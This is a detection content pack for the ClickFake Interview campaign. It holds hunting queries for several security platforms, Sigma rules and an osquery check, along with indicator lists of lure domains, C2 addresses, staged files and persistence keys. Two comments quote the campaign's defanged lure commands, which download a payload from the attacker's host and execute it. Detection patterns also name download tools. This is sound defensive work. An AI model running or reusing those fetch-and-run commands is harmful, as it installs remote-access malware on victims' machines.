ClickFake Interview: ClickFix Execution and GolangGhost Persistence Site

A device with two or more signals, or any process or persistence signal, took the ClickFake lure; domain and Run-dialog signals alone need context.

// Lure command (Sekoia, defanged), Windows: curl -k -o "%TEMP%\nvidiadrivers.zip" https://api.smartdriverfix[.]cloud/nvidiadrivers-kp9s.update && powershell -Command "Expand-Archive -Force -Path '%TEMP%\nvidiadrivers.zip' -DestinationPath '%TEMP%\nvidiadrivers'" && wscript "%TEMP%\nvidiadrivers\update.vbs"
// Lure command (Sekoia, defanged), macOS: curl -k -o /var/tmp/coremedia.sh https://api.smartdriverfix[.]cloud/coremedia-kp9s.sh && chmod +x /var/tmp/coremedia.sh && nohup bash /var/tmp/coremedia.sh >/dev/null 2>&1 &
union
    (DeviceProcessEvents
        | where Timestamp > ago(30d)
        | where ProcessCommandLine matches regex @"(?i)(smartdriverfix\.cloud|/var/tmp/(coremedia\.sh|VCam)|[^a-z]nvidia-?drivers)"
            // optional: lower fidelity, administrators also paste download commands into the Run dialog; delete this line and the next
            or (InitiatingProcessFileName =~ "explorer.exe" and FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "curl.exe", "wscript.exe", "mshta.exe") and ProcessCommandLine matches regex @"(?i)(curl|Invoke-WebRequest|iwr|Expand-Archive|certutil|bitsadmin)")
        | project Timestamp, DeviceId, DeviceName, Signal = "process", Detail = ProcessCommandLine),
    (DeviceRegistryEvents
        | where Timestamp > ago(90d)
        | where (RegistryKey contains @"\CurrentVersion\Run" and (RegistryValueName =~ "NvidiaDriverUpdate" or RegistryValueData has_any ("update.vbs", "nvidia.py")))
            // optional: lower fidelity, RunMRU also records administrators' legitimate commands; delete this line and the next
            or (RegistryKey contains @"\Explorer\RunMRU" and RegistryValueData matches regex @"(?i)(powershell|pwsh|curl|mshta|wscript|certutil|bitsadmin|iwr|irm)")
        | project Timestamp, DeviceId, DeviceName, Signal = "registry", Detail = strcat(RegistryKey, " ", RegistryValueName, " ", RegistryValueData)),
    (DeviceFileEvents
        | where Timestamp > ago(30d)
        | where (FileName =~ "com.drive.plist" and FolderPath contains "/Library/LaunchAgents")
            or (FileName in~ ("coremedia.sh", "VCam.zip") and FolderPath contains "/var/tmp")
            or FolderPath contains "/var/tmp/VCam"
            or FolderPath matches regex @"(?i)[\\/]Temp[\\/]nvidia-?drivers"
            or FileName in~ ("nvidia.py", "update.vbs")
        | project Timestamp, DeviceId, DeviceName, Signal = "file", Detail = strcat(FolderPath, "/", FileName)),
    (DeviceNetworkEvents
        | where Timestamp > ago(90d)
        | where (RemoteIP in ("38.134.148.218", "154.62.226.22", "72.5.42.93") and RemotePort == 8080)
            or RemoteUrl has_any ("smartdriverfix.cloud"
                // optional: lower fidelity, the 38 fake-assessment domains date from March 2025 and rotate; delete this line and the lines starting with a comma below it
                , "vid-crypto-assess.com", "assessiohq.com", "blockassess.com", "blockchainjobassessment.com", "blockchainjobhub.com"
                , "candidateinsightinfo.com", "coinbase-walet.biz", "coinbase-walet.me", "competency-core.com", "devchallengehq.com"
                , "evalassesso.com", "evalswift.com", "quickskill-review.com", "jobinterview360.com", "livehirehub.com"
                , "talenthiring360.com", "quickassessio.com", "quickhire360.com", "quickinterview360.com", "eskillprof.com"
                , "evalvidz.com", "intervwolf.com", "vidcruiterinterview.com", "vidcruitermaster.com", "vidintermaster.com"
                , "skillhiretrack.com", "skillprooflab.com", "talentcheck.pro", "talentsnaptest.com", "talentview360.com"
                , "test-wolf.com", "toptalentassess.com", "ugethired360.com", "vidassess360.com", "vidassesspro.com"
                , "videorecruitpro.com", "vidhirehub.com", "zenspiretech.com")
        | project Timestamp, DeviceId, DeviceName, Signal = "network", Detail = strcat(RemoteIP, ":", RemotePort, " ", RemoteUrl))
| summarize Hits = count(), Signals = make_set(Signal), FirstSeen = min(Timestamp), LastSeen = max(Timestamp), Details = make_set(Detail, 5) by DeviceId, DeviceName
| order by array_length(Signals) desc, LastSeen desc

The same signals across the process, registry, file, traffic and DNS data models, grouped by host.

```Placeholders: the Endpoint data model carries process, registry and file events from Windows and macOS; Network_Traffic and Network_Resolution carry connections and DNS.```
| tstats count max(_time) AS _time FROM datamodel=Endpoint.Processes WHERE earliest=-30d
    (Processes.process="*smartdriverfix.cloud*" OR Processes.process="*/var/tmp/coremedia.sh*" OR Processes.process="*/var/tmp/VCam*" OR Processes.process="*\\nvidiadrivers*" OR Processes.process="*\\nvidia-drivers*" OR Processes.process="*/nvidiadrivers*"
    ```optional: lower fidelity, administrators also paste download commands into the Run dialog; delete this line and the next```
    OR (Processes.parent_process_name="explorer.exe" AND Processes.process_name IN ("cmd.exe", "powershell.exe", "pwsh.exe", "curl.exe", "wscript.exe", "mshta.exe") AND (Processes.process="*curl*" OR Processes.process="*Invoke-WebRequest*" OR Processes.process="*iwr*" OR Processes.process="*Expand-Archive*" OR Processes.process="*certutil*" OR Processes.process="*bitsadmin*"))
    )
    BY Processes.dest, Processes.process
| rename Processes.dest AS host, Processes.process AS detail
| eval signal="process"
| append
    [| tstats count max(_time) AS _time FROM datamodel=Endpoint.Registry WHERE earliest=-90d
        ((Registry.registry_path="*\\CurrentVersion\\Run\\*" AND (Registry.registry_value_name="NvidiaDriverUpdate" OR Registry.registry_value_data="*update.vbs*" OR Registry.registry_value_data="*nvidia.py*"))
        ```optional: lower fidelity, RunMRU also records administrators' legitimate commands; delete this line and the next```
        OR (Registry.registry_path="*\\Explorer\\RunMRU*" AND (Registry.registry_value_data="*powershell*" OR Registry.registry_value_data="*pwsh*" OR Registry.registry_value_data="*curl*" OR Registry.registry_value_data="*mshta*" OR Registry.registry_value_data="*wscript*" OR Registry.registry_value_data="*certutil*" OR Registry.registry_value_data="*bitsadmin*" OR Registry.registry_value_data="*iwr*" OR Registry.registry_value_data="*irm*"))
        )
        BY Registry.dest, Registry.registry_value_data
     | rename Registry.dest AS host, Registry.registry_value_data AS detail
     | eval signal="registry"]
| append
    [| tstats count max(_time) AS _time FROM datamodel=Endpoint.Filesystem WHERE earliest=-30d
        ((Filesystem.file_name="com.drive.plist" AND Filesystem.file_path="*/Library/LaunchAgents/*")
        OR (Filesystem.file_name IN ("coremedia.sh","VCam.zip") AND Filesystem.file_path="*/var/tmp/*")
        OR Filesystem.file_path="*/var/tmp/VCam/*" OR Filesystem.file_path="*\\Temp\\nvidiadrivers\\*" OR Filesystem.file_path="*\\Temp\\nvidia-drivers\\*"
        OR Filesystem.file_name IN ("nvidia.py","update.vbs"))
        BY Filesystem.dest, Filesystem.file_path
     | rename Filesystem.dest AS host, Filesystem.file_path AS detail
     | eval signal="file"]
| append
    [| tstats count max(_time) AS _time FROM datamodel=Network_Traffic.All_Traffic WHERE earliest=-90d All_Traffic.dest_port=8080 All_Traffic.dest_ip IN ("38.134.148.218", "154.62.226.22", "72.5.42.93") BY All_Traffic.src, All_Traffic.dest_ip
     | rename All_Traffic.src AS host, All_Traffic.dest_ip AS detail
     | eval signal="network"]
| append
    [| tstats count max(_time) AS _time FROM datamodel=Network_Resolution.DNS WHERE earliest=-90d
        DNS.query IN ("smartdriverfix.cloud","*.smartdriverfix.cloud"
      ```optional: lower fidelity, the 38 fake-assessment domains date from March 2025 and rotate; delete this line and the lines starting with a comma below it```
      ,"vid-crypto-assess.com","*.vid-crypto-assess.com","assessiohq.com","*.assessiohq.com","blockassess.com","*.blockassess.com","blockchainjobassessment.com","*.blockchainjobassessment.com","blockchainjobhub.com","*.blockchainjobhub.com"
      ,"candidateinsightinfo.com","*.candidateinsightinfo.com","coinbase-walet.biz","*.coinbase-walet.biz","coinbase-walet.me","*.coinbase-walet.me","competency-core.com","*.competency-core.com","devchallengehq.com","*.devchallengehq.com"
      ,"evalassesso.com","*.evalassesso.com","evalswift.com","*.evalswift.com","quickskill-review.com","*.quickskill-review.com","jobinterview360.com","*.jobinterview360.com","livehirehub.com","*.livehirehub.com"
      ,"talenthiring360.com","*.talenthiring360.com","quickassessio.com","*.quickassessio.com","quickhire360.com","*.quickhire360.com","quickinterview360.com","*.quickinterview360.com","eskillprof.com","*.eskillprof.com"
      ,"evalvidz.com","*.evalvidz.com","intervwolf.com","*.intervwolf.com","vidcruiterinterview.com","*.vidcruiterinterview.com","vidcruitermaster.com","*.vidcruitermaster.com","vidintermaster.com","*.vidintermaster.com"
      ,"skillhiretrack.com","*.skillhiretrack.com","skillprooflab.com","*.skillprooflab.com","talentcheck.pro","*.talentcheck.pro","talentsnaptest.com","*.talentsnaptest.com","talentview360.com","*.talentview360.com"
      ,"test-wolf.com","*.test-wolf.com","toptalentassess.com","*.toptalentassess.com","ugethired360.com","*.ugethired360.com","vidassess360.com","*.vidassess360.com","vidassesspro.com","*.vidassesspro.com"
      ,"videorecruitpro.com","*.videorecruitpro.com","vidhirehub.com","*.vidhirehub.com","zenspiretech.com","*.zenspiretech.com")
        BY DNS.src, DNS.query
     | rename DNS.src AS host, DNS.query AS detail
     | eval signal="network"]
| stats count AS hits min(_time) AS first_seen max(_time) AS last_seen values(signal) AS signals values(detail) AS details BY host
| eval signal_count=mvcount(signals)
| convert ctime(first_seen) ctime(last_seen)
| sort - signal_count, - last_seen

Five rules, one per telemetry type, that apply to Windows and macOS events.

title: ClickFake Interview Lure Command or Staging Artifact on an Endpoint
id: 8a3d7ea0-b1f4-5b6e-9d0b-6c42b1f1a101
status: experimental
description: >
  Detects the command line of the ClickFake Interview lure on Windows and
  macOS, naming the lure host, the macOS staging script and archive, or the
  nvidiadrivers staging folder, as published by Sekoia.
references:
  - https://www.sekoia.com/blog/clickfake-interview-campaign-by-lazarus
logsource:
  category: process_creation
detection:
  selection_lure:
    CommandLine|contains:
      - 'smartdriverfix.cloud'
      - '/var/tmp/coremedia.sh'
      - '/var/tmp/VCam'
      - '\nvidiadrivers'
      - '/nvidiadrivers'
      - '\nvidia-drivers'
      - '/nvidia-drivers'
  # optional: lower fidelity, administrators also paste download commands into the Run dialog; delete this line and the selection below it
  selection_run_dialog:
    ParentImage|endswith: '\explorer.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\curl.exe'
      - '\wscript.exe'
      - '\mshta.exe'
    CommandLine|contains:
      - 'curl'
      - 'Invoke-WebRequest'
      - 'iwr'
      - 'Expand-Archive'
      - 'certutil'
      - 'bitsadmin'
  condition: 1 of selection_*
falsepositives:
  - Administrators pasting legitimate one-liners into the Run dialog (selection_run_dialog only)
level: high
---
title: ClickFake Interview Persistence Value or RunMRU Entry
id: 8a3d7ea0-b1f4-5b6e-9d0b-6c42b1f1a102
status: experimental
description: >
  Detects the NvidiaDriverUpdate Run value written by GolangGhost and its
  Python port PylangGhost, and a download command recorded in RunMRU.
references:
  - https://www.sekoia.com/blog/clickfake-interview-campaign-by-lazarus
  - https://blog.talosintelligence.com/python-version-of-golangghost-rat/
logsource:
  category: registry_set
detection:
  selection_run_key:
    TargetObject|contains: '\CurrentVersion\Run\'
    Details|contains:
      - 'update.vbs'
      - 'nvidia.py'
  selection_run_name:
    TargetObject|endswith: '\CurrentVersion\Run\NvidiaDriverUpdate'
  # optional: lower fidelity, RunMRU also records administrators' legitimate commands; delete this line and the selection below it
  selection_runmru:
    TargetObject|contains: '\Explorer\RunMRU'
    Details|contains:
      - 'powershell'
      - 'pwsh'
      - 'curl'
      - 'mshta'
      - 'wscript'
      - 'certutil'
      - 'bitsadmin'
      - 'iwr'
      - 'irm'
  condition: 1 of selection_*
falsepositives:
  - Administrators pasting legitimate one-liners into the Run dialog (selection_runmru only)
level: high
---
title: ClickFake Interview Staged File or LaunchAgent
id: 8a3d7ea0-b1f4-5b6e-9d0b-6c42b1f1a103
status: experimental
description: >
  Detects the files ClickFake Interview writes: the macOS script, archive and
  com.drive.plist LaunchAgent, and the Windows nvidiadrivers staging folder
  and PylangGhost launcher.
references:
  - https://www.sekoia.com/blog/clickfake-interview-campaign-by-lazarus
logsource:
  category: file_event
detection:
  selection_path:
    TargetFilename|contains:
      - '/Library/LaunchAgents/com.drive.plist'
      - '/var/tmp/coremedia.sh'
      - '/var/tmp/VCam.zip'
      - '/var/tmp/VCam/'
      - '\Temp\nvidiadrivers\'
      - '\Temp\nvidia-drivers\'
  selection_name:
    TargetFilename|endswith:
      - '/nvidia.py'
      - '\nvidia.py'
      - '/update.vbs'
      - '\update.vbs'
  condition: 1 of selection_*
level: high
---
title: Connection to a ClickFake Interview Command-and-Control Address
id: 8a3d7ea0-b1f4-5b6e-9d0b-6c42b1f1a104
status: experimental
description: >
  Detects connections to the three command-and-control addresses Sekoia
  reports for GolangGhost, all on port 8080.
references:
  - https://www.sekoia.com/blog/clickfake-interview-campaign-by-lazarus
logsource:
  category: network_connection
detection:
  selection:
    DestinationIp:
      - '38.134.148.218'
      - '154.62.226.22'
      - '72.5.42.93'
    DestinationPort: 8080
  condition: selection
level: high
---
title: DNS Lookup of the ClickFake Interview Lure Host or a Fake Assessment Domain
id: 8a3d7ea0-b1f4-5b6e-9d0b-6c42b1f1a105
status: experimental
description: >
  Detects lookups of the lure host and the fake interview and assessment
  domains Sekoia enumerated in March 2025.
references:
  - https://www.sekoia.com/blog/clickfake-interview-campaign-by-lazarus
logsource:
  category: dns_query
detection:
  selection_lure:
    QueryName: 'api.smartdriverfix.cloud'
  selection_lure_sub:
    QueryName|endswith: '.smartdriverfix.cloud'
  # optional: lower fidelity, the 38 fake-assessment domains date from March 2025 and rotate; delete this line and the two selections below it
  selection_assess_exact:
    QueryName:
      - 'vid-crypto-assess.com'
      - 'assessiohq.com'
      - 'blockassess.com'
      - 'blockchainjobassessment.com'
      - 'blockchainjobhub.com'
      - 'candidateinsightinfo.com'
      - 'coinbase-walet.biz'
      - 'coinbase-walet.me'
      - 'competency-core.com'
      - 'devchallengehq.com'
      - 'evalassesso.com'
      - 'evalswift.com'
      - 'quickskill-review.com'
      - 'jobinterview360.com'
      - 'livehirehub.com'
      - 'talenthiring360.com'
      - 'quickassessio.com'
      - 'quickhire360.com'
      - 'quickinterview360.com'
      - 'eskillprof.com'
      - 'evalvidz.com'
      - 'intervwolf.com'
      - 'vidcruiterinterview.com'
      - 'vidcruitermaster.com'
      - 'vidintermaster.com'
      - 'skillhiretrack.com'
      - 'skillprooflab.com'
      - 'talentcheck.pro'
      - 'talentsnaptest.com'
      - 'talentview360.com'
      - 'test-wolf.com'
      - 'toptalentassess.com'
      - 'ugethired360.com'
      - 'vidassess360.com'
      - 'vidassesspro.com'
      - 'videorecruitpro.com'
      - 'vidhirehub.com'
      - 'zenspiretech.com'
  selection_assess_sub:
    QueryName|endswith:
      - '.vid-crypto-assess.com'
      - '.assessiohq.com'
      - '.blockassess.com'
      - '.blockchainjobassessment.com'
      - '.blockchainjobhub.com'
      - '.candidateinsightinfo.com'
      - '.coinbase-walet.biz'
      - '.coinbase-walet.me'
      - '.competency-core.com'
      - '.devchallengehq.com'
      - '.evalassesso.com'
      - '.evalswift.com'
      - '.quickskill-review.com'
      - '.jobinterview360.com'
      - '.livehirehub.com'
      - '.talenthiring360.com'
      - '.quickassessio.com'
      - '.quickhire360.com'
      - '.quickinterview360.com'
      - '.eskillprof.com'
      - '.evalvidz.com'
      - '.intervwolf.com'
      - '.vidcruiterinterview.com'
      - '.vidcruitermaster.com'
      - '.vidintermaster.com'
      - '.skillhiretrack.com'
      - '.skillprooflab.com'
      - '.talentcheck.pro'
      - '.talentsnaptest.com'
      - '.talentview360.com'
      - '.test-wolf.com'
      - '.toptalentassess.com'
      - '.ugethired360.com'
      - '.vidassess360.com'
      - '.vidassesspro.com'
      - '.videorecruitpro.com'
      - '.vidhirehub.com'
      - '.zenspiretech.com'
  condition: 1 of selection_*
falsepositives:
  - Researchers and defenders opening the reported domains
level: high

The same signals over Falcon process, registry, DNS and network events; Falcon file-write events are not used, so staged files surface through the process and registry signals.

(#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ CommandLine=/(smartdriverfix\.cloud|\/var\/tmp\/(coremedia\.sh|VCam)|[\\\/]nvidia-?drivers)/i)
    // optional: lower fidelity, administrators also paste download commands into the Run dialog; delete this line and the next
    or (#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ ParentBaseFileName=/^explorer\.exe$/i FileName=/^(cmd|powershell|pwsh|curl|wscript|mshta)\.exe$/i CommandLine=/(curl|Invoke-WebRequest|iwr|Expand-Archive|certutil|bitsadmin)/i)
or (#event_simpleName=/^(AsepValueUpdate|RegGenericValueUpdate)$/ RegObjectName=/\\CurrentVersion\\Run\b/i (RegValueName=/^NvidiaDriverUpdate$/i or RegStringValue=/(update\.vbs|nvidia\.py)/i))
or (#event_simpleName=DnsRequest DomainName=/(^|\.)smartdriverfix\.cloud$/i)
    // optional: lower fidelity, the 38 fake-assessment domains date from March 2025 and rotate; delete this line and the next
or (#event_simpleName=DnsRequest DomainName=/(^|\.)(vid-crypto-assess\.com|assessiohq\.com|blockassess\.com|blockchainjobassessment\.com|blockchainjobhub\.com|candidateinsightinfo\.com|coinbase-walet\.biz|coinbase-walet\.me|competency-core\.com|devchallengehq\.com|evalassesso\.com|evalswift\.com|quickskill-review\.com|jobinterview360\.com|livehirehub\.com|talenthiring360\.com|quickassessio\.com|quickhire360\.com|quickinterview360\.com|eskillprof\.com|evalvidz\.com|intervwolf\.com|vidcruiterinterview\.com|vidcruitermaster\.com|vidintermaster\.com|skillhiretrack\.com|skillprooflab\.com|talentcheck\.pro|talentsnaptest\.com|talentview360\.com|test-wolf\.com|toptalentassess\.com|ugethired360\.com|vidassess360\.com|vidassesspro\.com|videorecruitpro\.com|vidhirehub\.com|zenspiretech\.com)$/i)
or (#event_simpleName=NetworkConnectIP4 RemotePort=8080 in(RemoteAddressIP4, values=["38.134.148.218", "154.62.226.22", "72.5.42.93"]))
| groupBy([aid, ComputerName], function=[count(as=Hits), count(#event_simpleName, distinct=true, as=SignalKinds), collect([#event_simpleName]), min(@timestamp, as=FirstSeen), max(@timestamp, as=LastSeen)])
| sort(SignalKinds, order=desc)

The same signals over Elastic Defend events, with the number of signal kinds per host.

FROM logs-endpoint.events.*
| EVAL cmd = TO_LOWER(process.command_line), reg = TO_LOWER(registry.path), regdata = TO_LOWER(MV_CONCAT(registry.data.strings, " ")), fpath = TO_LOWER(file.path), name = TO_LOWER(COALESCE(dns.question.name, destination.domain))
| WHERE cmd RLIKE ".*(smartdriverfix\\.cloud|/var/tmp/(coremedia\\.sh|vcam)|[\\\\/]nvidia-?drivers).*"
    OR (TO_LOWER(process.parent.name) == "explorer.exe" AND TO_LOWER(process.name) IN ("cmd.exe", "powershell.exe", "pwsh.exe", "curl.exe", "wscript.exe", "mshta.exe") AND cmd RLIKE ".*(curl|invoke-webrequest|iwr|expand-archive|certutil|bitsadmin).*")
    OR (reg RLIKE ".*\\\\currentversion\\\\run\\\\.*" AND (reg RLIKE ".*nvidiadriverupdate" OR regdata RLIKE ".*(update\\.vbs|nvidia\\.py).*"))
    OR (reg RLIKE ".*\\\\explorer\\\\runmru.*" AND regdata RLIKE ".*(powershell|pwsh|curl|mshta|wscript|certutil|bitsadmin|iwr|irm).*")
    OR (TO_LOWER(file.name) == "com.drive.plist" AND fpath RLIKE ".*/library/launchagents/.*")
    OR (TO_LOWER(file.name) IN ("coremedia.sh", "vcam.zip") AND fpath RLIKE ".*/var/tmp/.*")
    OR fpath RLIKE ".*(/var/tmp/vcam/|\\\\temp\\\\nvidia-?drivers\\\\).*"
    OR TO_LOWER(file.name) IN ("nvidia.py", "update.vbs")
    OR (destination.port == 8080 AND CIDR_MATCH(destination.ip, "38.134.148.218/32", "154.62.226.22/32", "72.5.42.93/32"))
    OR name RLIKE "(.*\\.)?(smartdriverfix\\.cloud)"
    OR name RLIKE "(.*\\.)?(vid-crypto-assess\\.com|assessiohq\\.com|blockassess\\.com|blockchainjobassessment\\.com|blockchainjobhub\\.com|candidateinsightinfo\\.com|coinbase-walet\\.biz|coinbase-walet\\.me|competency-core\\.com|devchallengehq\\.com|evalassesso\\.com|evalswift\\.com|quickskill-review\\.com|jobinterview360\\.com|livehirehub\\.com|talenthiring360\\.com|quickassessio\\.com|quickhire360\\.com|quickinterview360\\.com|eskillprof\\.com|evalvidz\\.com|intervwolf\\.com|vidcruiterinterview\\.com|vidcruitermaster\\.com|vidintermaster\\.com|skillhiretrack\\.com|skillprooflab\\.com|talentcheck\\.pro|talentsnaptest\\.com|talentview360\\.com|test-wolf\\.com|toptalentassess\\.com|ugethired360\\.com|vidassess360\\.com|vidassesspro\\.com|videorecruitpro\\.com|vidhirehub\\.com|zenspiretech\\.com)"
| EVAL signal = CASE(process.command_line IS NOT NULL, "process", registry.path IS NOT NULL, "registry", file.path IS NOT NULL, "file", "network")
| STATS hits = COUNT(*), signal_kinds = COUNT_DISTINCT(signal), signals = VALUES(signal), last_seen = MAX(@timestamp) BY host.name
| SORT signal_kinds DESC, last_seen DESC

The same signals over Cortex process, registry, file and network events.

dataset = xdr_data
| alter host = lowercase(coalesce(dns_query_name, action_external_hostname, ""))
| filter (event_type = ENUM.PROCESS and lowercase(action_process_image_command_line) ~= "(smartdriverfix[.]cloud|/var/tmp/(coremedia[.]sh|vcam)|[^a-z]nvidia-?drivers)")
        // optional: lower fidelity, administrators also paste download commands into the Run dialog; delete this line and the next
        or (event_type = ENUM.PROCESS and lowercase(actor_process_image_name) = "explorer.exe" and lowercase(action_process_image_name) in ("cmd.exe", "powershell.exe", "pwsh.exe", "curl.exe", "wscript.exe", "mshta.exe") and lowercase(action_process_image_command_line) ~= "(curl|invoke-webrequest|iwr|expand-archive|certutil|bitsadmin)")
    or (event_type = ENUM.REGISTRY and lowercase(action_registry_key_name) ~= "currentversion[^a-z]run" and (lowercase(action_registry_value_name) = "nvidiadriverupdate" or lowercase(action_registry_data) ~= "(update[.]vbs|nvidia[.]py)"))
        // optional: lower fidelity, RunMRU also records administrators' legitimate commands; delete this line and the next
    or (event_type = ENUM.REGISTRY and lowercase(action_registry_key_name) ~= "explorer[^a-z]runmru" and lowercase(action_registry_data) ~= "(powershell|pwsh|curl|mshta|wscript|certutil|bitsadmin|iwr|irm)")
    or (event_type = ENUM.FILE and ((lowercase(action_file_name) = "com.drive.plist" and lowercase(action_file_path) ~= "/library/launchagents/") or (lowercase(action_file_name) in ("coremedia.sh", "vcam.zip") and lowercase(action_file_path) ~= "/var/tmp/") or lowercase(action_file_path) ~= "(/var/tmp/vcam/|[^a-z]temp[^a-z]nvidia-?drivers[^a-z])" or lowercase(action_file_name) in ("nvidia.py", "update.vbs")))
    or (event_type = ENUM.NETWORK and action_remote_port = 8080 and action_remote_ip in ("38.134.148.218", "154.62.226.22", "72.5.42.93"))
    or (event_type = ENUM.NETWORK and host ~= "(^|[.])smartdriverfix[.]cloud$")
        // optional: lower fidelity, the 38 fake-assessment domains date from March 2025 and rotate; delete this line and the next
    or (event_type = ENUM.NETWORK and host ~= "(^|[.])(vid-crypto-assess[.]com|assessiohq[.]com|blockassess[.]com|blockchainjobassessment[.]com|blockchainjobhub[.]com|candidateinsightinfo[.]com|coinbase-walet[.]biz|coinbase-walet[.]me|competency-core[.]com|devchallengehq[.]com|evalassesso[.]com|evalswift[.]com|quickskill-review[.]com|jobinterview360[.]com|livehirehub[.]com|talenthiring360[.]com|quickassessio[.]com|quickhire360[.]com|quickinterview360[.]com|eskillprof[.]com|evalvidz[.]com|intervwolf[.]com|vidcruiterinterview[.]com|vidcruitermaster[.]com|vidintermaster[.]com|skillhiretrack[.]com|skillprooflab[.]com|talentcheck[.]pro|talentsnaptest[.]com|talentview360[.]com|test-wolf[.]com|toptalentassess[.]com|ugethired360[.]com|vidassess360[.]com|vidassesspro[.]com|videorecruitpro[.]com|vidhirehub[.]com|zenspiretech[.]com)$")
| comp count() as hits, count_distinct(event_type) as signal_kinds, max(_time) as last_seen by agent_hostname
| sort desc signal_kinds, desc last_seen

A point-in-time check of running processes, startup items, staged files and open sockets for the same artifacts.

SELECT 'process' AS signal, name AS item, cmdline AS detail
FROM processes
WHERE lower(cmdline) LIKE '%smartdriverfix.cloud%' OR lower(cmdline) LIKE '%/var/tmp/coremedia.sh%' OR lower(cmdline) LIKE '%/var/tmp/vcam%'
   OR lower(cmdline) LIKE '%\nvidiadrivers%' OR lower(cmdline) LIKE '%\nvidia-drivers%'
UNION ALL
SELECT 'persistence', name, path || ' ' || args
FROM startup_items
WHERE lower(name) = 'nvidiadriverupdate' OR lower(path) LIKE '%/com.drive.plist' OR lower(args) LIKE '%update.vbs%' OR lower(args) LIKE '%nvidia.py%'
UNION ALL
SELECT 'file', filename, path
FROM file
WHERE (path LIKE '/var/tmp/%' AND filename IN ('coremedia.sh', 'VCam.zip', 'VCam'))
   OR path LIKE '/Library/LaunchAgents/com.drive.plist'
   OR path LIKE 'C:\Users\%\AppData\Local\Temp\nvidiadrivers\%'
   OR path LIKE 'C:\Users\%\AppData\Local\Temp\nvidia-drivers\%'
UNION ALL
SELECT 'network', CAST(pid AS TEXT), remote_address || ':' || remote_port
FROM process_open_sockets
WHERE remote_port = 8080 AND remote_address IN ('38.134.148.218', '154.62.226.22', '72.5.42.93');